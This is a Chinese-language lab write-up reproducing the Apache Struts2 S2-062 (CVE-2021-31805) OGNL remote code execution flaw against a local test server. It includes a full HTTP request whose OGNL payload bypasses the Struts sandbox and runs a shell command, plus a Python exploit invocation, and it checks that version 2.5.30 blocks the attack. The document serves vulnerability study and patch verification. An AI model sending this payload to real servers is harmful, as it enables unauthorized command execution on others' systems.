struts2 漏洞编号:
远程代码执行漏洞S2-062(CVE-2021-31805)
受影响版本
- 2.0.0 <= Apache Struts <= 2.5.29
不受影响版本
报告时间
2022-04-12
修复时间
2022-04-14
攻击漏洞依赖jetty容器启动,tomcat容器启动没有回显命令,如下图:
执行结果如下图:
1 2
| cd ~/config/python/struts/s2-062-main/ python3 s2-062.py --url http://localhost:8083/ --cmd pwd
|
shell命令被执行了

python的exp脚本github地址: https://github.com/vulhub/vulhub

使用BurpSuite复现struts2 s2-062漏洞
拦截请求修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| POST / HTTP/1.1 Host: localhost:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 1100
------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id"
%{ (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'})) } ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
|
输出shell执行结果:

由于idea项目设置的原因吧,直接升级struts-core的jar版本会导致服务一系列找不到,重新复制新建了一个项目,将struts-core升级到了2.5.30,依然用jetty启动项目,如下图:
升级之后的靶场项目:

shell命令没有被执行,正常输出了输入的内容.

将刚才执行shell命令的项目,把容器服务替换成tomcat后启动.

还是用刚才的python命令执行,shell命令没有被执行输出

问题: 禁用org.apache.commons.collection.BeanMap设置的方式没有确定怎么设置.
struts2框架介绍,整个输入输出过程:

过程描述:
1 2 3 4 5
| 首先当 struts2 项目启动时,会先加载 web.xml ,由其中定义的入口程序 StrutsPrepareAndExecuteFilter 进行容器的初始化以及转发我们的请求。由其中的 init 函数进行初始化,加载配置文件信息,对内置对象进行创建及缓存,创建接下来 struts2 操作的运行环境。 由 doFilter 函数中对封装成 HttpServletRequest 的 http 请求进行预处理以及转发执行。 在这期间 struts2 需要知道这个请求具体由哪个 action 的哪个方法处理,那么在 doFilter 中,在这里会进行请求和 action 之间的映射,具体为根据输入的 url 截取相关信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping 对象属性中,属性包括了请求的 action 、method 、param 、namespace 等(也就是图中的第 3 步)。当然不一定请求的 action ,比如请求 jsp 文件等,那么 ActionMapping 映射为空,则不由 struts2 转发处理。不为空则由 ActionProxy 根据 ActionMapping 映射信息以及 ConfigurationManager 配置信息,找到我们具体要访问的 Action 类(也是图中的 6、7 步)。接着通过 ActionProxy 创建 ActionInvocation 实例,由 ActionInvocation 实例调度访问 Action 。 在访问 Action 之前,会先执行一个拦截器栈,在拦截器栈中会对请求进行一些处理,比如在 ParametersInterceptor 中将参数通过 setter 、getter 方法对 Action 的属性赋值,在 ConversionErrorInterceptor 中对参数类型转换出错时进行拦截处理等。 接下来才会去访问 Action 类。执行完成返回一个结果,结果可能是视图文件,也有可能是去访问另一个 action ,那么如果是访问另一个 action 就重新进行映射,由 ActionProxy 创建 ActionInvocation 进行调度等,如果是返回一个视图文件,那么逆序拦截器栈执行完,最终通过 HTTPServletResponse 返回响应。
|
ognl语法能将字符串解析成对象,所以可以利用ognl的解析语法注入可以执行脚本命令语法的对象就行执行调用.
ognl命令执行漏洞产生的位置:

struts2的防护机制:
具体参见https://paper.seebug.org/1575/的第四章节
参考博客:
https://cloud.tencent.com/developer/article/2017483 –Struts2-062_RCE简单复现(CVE-2021-31805)
https://paper.seebug.org/1575/ –Struts2框架整体的执行原理,以及Struts2设置的沙箱机制
https://www.anquanke.com/post/id/169735 –Struts2框架整体的执行原理,以及Struts2设置的沙箱绕过机制
https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/ –Struts2沙箱绕过机制